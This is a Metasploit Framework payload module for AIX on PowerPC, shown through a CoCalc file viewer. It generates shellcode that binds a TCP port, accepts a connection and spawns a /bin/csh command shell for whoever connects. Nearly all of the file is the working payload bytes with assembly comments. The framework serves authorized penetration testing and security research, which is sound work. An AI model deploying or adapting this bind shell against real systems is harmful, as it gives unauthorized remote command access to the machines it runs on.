CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 264
10
11
include Msf::Payload::Single
12
include Msf::Payload::Aix
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'AIX Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'aix',
22
'Arch' => ARCH_PPC,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 82, 'n' ],
30
},
31
}
32
))
33
34
end
35
36
def generate(*args)
37
super(*args)
38
39
payload =
40
"\x7f\xff\xfa\x79" + # xor. r31,r31,r31 #
41
"\x40\x82\xff\xfd" + # bnel <bndsockcode> #
42
"\x7f\xc8\x02\xa6" + # mflr r30 #
43
"\x3b\xde\x01\xff" + # cal r30,511(r30) #
44
"\x3b\xde\xfe\x1d" + # cal r30,-483(r30) #
45
"\x7f\xc9\x03\xa6" + # mtctr r30 #
46
"\x4e\x80\x04\x20" + # bctr #
47
"\x4c\xc6\x33\x42" + # crorc 6,6,6 #
48
"\x44\xff\xff\x02" + # svca 0 #
49
"\x3b\xde\xff\xf8" + # cal r30,-8(r30) #
50
"\x3b\xa0\x07\xff" + # lil r29,2047 #
51
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
52
"\x38\x9d\xf8\x02" + # cal r4,-2046(r29) #
53
"\x38\x7d\xf8\x03" + # cal r3,-2045(r29) #
54
@cal_socket +
55
"\x7f\xc9\x03\xa6" + # mtctr r30 #
56
"\x4e\x80\x04\x21" + # bctrl #
57
"\x7c\x7c\x1b\x78" + # mr r28,r3 #
58
"\x38\xbd\xf8\x11" + # cal r5,-2031(r29) #
59
"\x3f\x60\xff\x02" + # liu r27,-254 #
60
"\x63\x7b\x11\x5c" + # oril r27,r27,4444 #
61
"\x97\xe1\xff\xfc" + # stu r31,-4(r1) #
62
"\x97\x61\xff\xfc" + # stu r27,-4(r1) #
63
"\x7c\x24\x0b\x78" + # mr r4,r1 #
64
@cal_bind +
65
"\x7f\xc9\x03\xa6" + # mtctr r30 #
66
"\x4e\x80\x04\x21" + # bctrl #
67
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
68
"\x7f\x83\xe3\x78" + # mr r3,r28 #
69
@cal_listen +
70
"\x7f\xc9\x03\xa6" + # mtctr r30 #
71
"\x4e\x80\x04\x21" + # bctrl #
72
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
73
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
74
"\x7f\x83\xe3\x78" + # mr r3,r28 #
75
@cal_accept +
76
"\x7f\xc9\x03\xa6" + # mtctr r30 #
77
"\x4e\x80\x04\x21" + # bctrl #
78
"\x7c\x7a\x1b\x78" + # mr r26,r3 #
79
"\x3b\x3d\xf8\x03" + # cal r25,-2045(r29) #
80
"\x7f\x23\xcb\x78" + # mr r3,r25 #
81
@cal_close +
82
"\x7f\xc9\x03\xa6" + # mtctr r30 #
83
"\x4e\x80\x04\x21" + # bctrl #
84
"\x7f\x25\xcb\x78" + # mr r5,r25 #
85
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
86
"\x7f\x43\xd3\x78" + # mr r3,r26 #
87
@cal_kfcntl +
88
"\x7f\xc9\x03\xa6" + # mtctr r30 #
89
"\x4e\x80\x04\x21" + # bctrl #
90
"\x37\x39\xff\xff" + # ai. r25,r25,-1 #
91
"\x40\x80\xff\xd4" + # bge <bndsockcode+160> #
92
"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
93
"\x40\x82\xff\xfd" + # bnel <bndsockcode+208> #
94
"\x7f\x08\x02\xa6" + # mflr r24 #
95
"\x3b\x18\x01\xff" + # cal r24,511(r24) #
96
"\x38\x78\xfe\x29" + # cal r3,-471(r24) #
97
"\x98\xb8\xfe\x31" + # stb r5,-463(r24) #
98
"\x94\xa1\xff\xfc" + # stu r5,-4(r1) #
99
"\x94\x61\xff\xfc" + # stu r3,-4(r1) #
100
"\x7c\x24\x0b\x78" + # mr r4,r1 #
101
@cal_execve +
102
"\x7f\xc9\x03\xa6" + # mtctr r30 #
103
"\x4e\x80\x04\x21" + # bctrl #
104
"/bin/csh"
105
106
# If the payload is generated and there are offsets to substitute,
107
# do that now.
108
if (payload and offsets)
109
substitute_vars(payload, offsets)
110
end
111
112
payload
113
end
114
end
115
116